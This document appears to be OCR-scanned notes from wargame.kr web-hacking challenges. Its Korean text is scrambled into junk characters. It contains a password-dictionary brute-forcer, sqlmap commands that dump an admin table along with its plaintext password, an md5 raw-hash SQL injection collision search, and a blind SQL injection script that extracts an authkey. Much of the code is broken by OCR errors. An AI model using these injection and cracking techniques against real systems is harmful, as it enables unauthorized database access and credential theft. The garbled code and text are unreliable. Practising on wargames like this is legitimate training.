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0x01 counting query
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0x02 crack crack crack it

TF# .htaccess
P44 R T 42, 4 LOphtCrack £ 717 f#

import itertools

a = "0123456789abcdefghijklmnopgrstuvwxyz"
fp = open("dic.txt", 'w+')

for key in itertools.product(a,repeat=1):
fp.write('G4HeulB'+''.join(key)+'\n")
for key in itertools.product(a,repeat=2):
fp.write('G4HeulB'+'"'.join(key)+'\n")
for key in itertools.product(a,repeat=3):
fp.write('G4HeulB'+''.join(key)+'\n")
for key in itertools.product(a,repeat=4):
fp.write('G4HeulB'+''.join(key)+'\n")
fp.close()

0x03 db is really good

POST /db_is_really_good/write.php HTTP/1.1
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POST /db_is_really_good/memo.php HTTP/1.1

user_id = admin/

PR AR, T A B T
http:/wargame.kr:8080/db_is_really_good/db/wkrm_admin.db
0x04 flee button
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document.write(unescape_blue14("%44%72%77%86%24 %77 %72%45%26%73%83%71%26 %24 %83 %84 %89%7a%7 3%45%26 %80%7d%83%77 %84 %77 %7 d%7c%42%6d %7 0%83%7d%7a%85%84
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0x07 ip log table

http://wargame.kr:8080/ip_log_table/chk.php

FLEFEN £ H sqimap

sqlmap.py -u "http://wargame.kr:8080/ip_log_table/chk.php" --data="idx=1112" --cookie="chat_id=admin;"

sqlmap.py -u "http://wargame.kr:8080/ip_log_table/chk.php" --data="idx=1112" --cookie="chat_id=admin;" -D ip_log_table -T admin_table --dump
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id |idx | ps |
B — e +
| blue_admin|1 |Oh~myp4ss! |
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0x08 login_filtering
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$row=mysq|_fetch_array(mysql_query("select * from user where id="$id' and ps=md5('$ps')"));
if(isset(Srow['id )X
if($id=="guest" || $id=="blueh4g'}{
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0x09 md5 password
VG ER T md5($ps,true),
HIB GERPINT sql EHEH
F4R md5 N5 A ‘or' #F R R BI AT

from hashlib import mdS
import itertools

a = "0123456789abcdefghijklmnopgrstuvwxyz~!@#$% &* ()_+|"

for key in itertools.product(a,repeat=4):
s = md5("'".join(key)).digest()
if s.find('\'=\"")>0:
print ''.join(key)
print s.encode('hex"')
break
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B #15 URL http:/Awargame kr:8080/qr_code_puzzle/img/qr.png
Z B 4ERD ARG I 35 B AT 15 3 flag

0x0C strcmp
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stremp($_POST['password?], $password)
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0x0D web chatting
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import urllib, urllib2, cookielib

cj = cookielib.LWPCookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
urllib2.install_opener(opener)

URL = 'http://wargame.kr:8080/lonely_guys/"

def sendsort(pstr):
params = {'sort':pstr}
try:
req = urllib2.Request(URL, urllib.urlencode(params))
operate = opener.open(req)
except:
print "Error'
exit(1)

if len(operate.read()) > 1370:
return 1

else:

return @

TEMPLATE = 'desc,if((ascii(mid((select authkey from authkey limit 1),%d,1))>%d),1,(select 1 from information_schema.tables))’

for i in range(32,50):
if sendsort(TEMPLATE%(i,0)) == @:
print i, '0K"
break
else:
print i
# len = 40
flag = []
for i in range(1,41):
a =31
b = 128
while abs(a-b)>1:
c = int((a+b)/2)
if sendsort(TEMPLATE%(i,c)) == 1:
a=c
else:
b=c
if sendsort(TEMPLATE%(i,a)) == @:
c=a
else:
c=b
print chr(c),
flag.append(chr(c))

print 'Flag:',''.join(flag)

0xOF wtf_code
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def t2i(str):
out = @
for i in range(o,8):
out += int(str[i])*(2**(7-1))
return out

f = open('source_code.ws','r")
fo = open('out.txt’, 'w+")

x = f.readline()

x = f.readline()

k=0

while x:

out = "'
for ¢ in

x

if c=='
out += '@’
else:
out += '1'
x = f.readline()
1 = len(out)
if 8 <=1 <= 11 and k%2 =
print out
c = t2i('@'+out[1-8:1-1])
print chr(c)
fo.write(chr(c))
k+=1
f.close()
fo.close()
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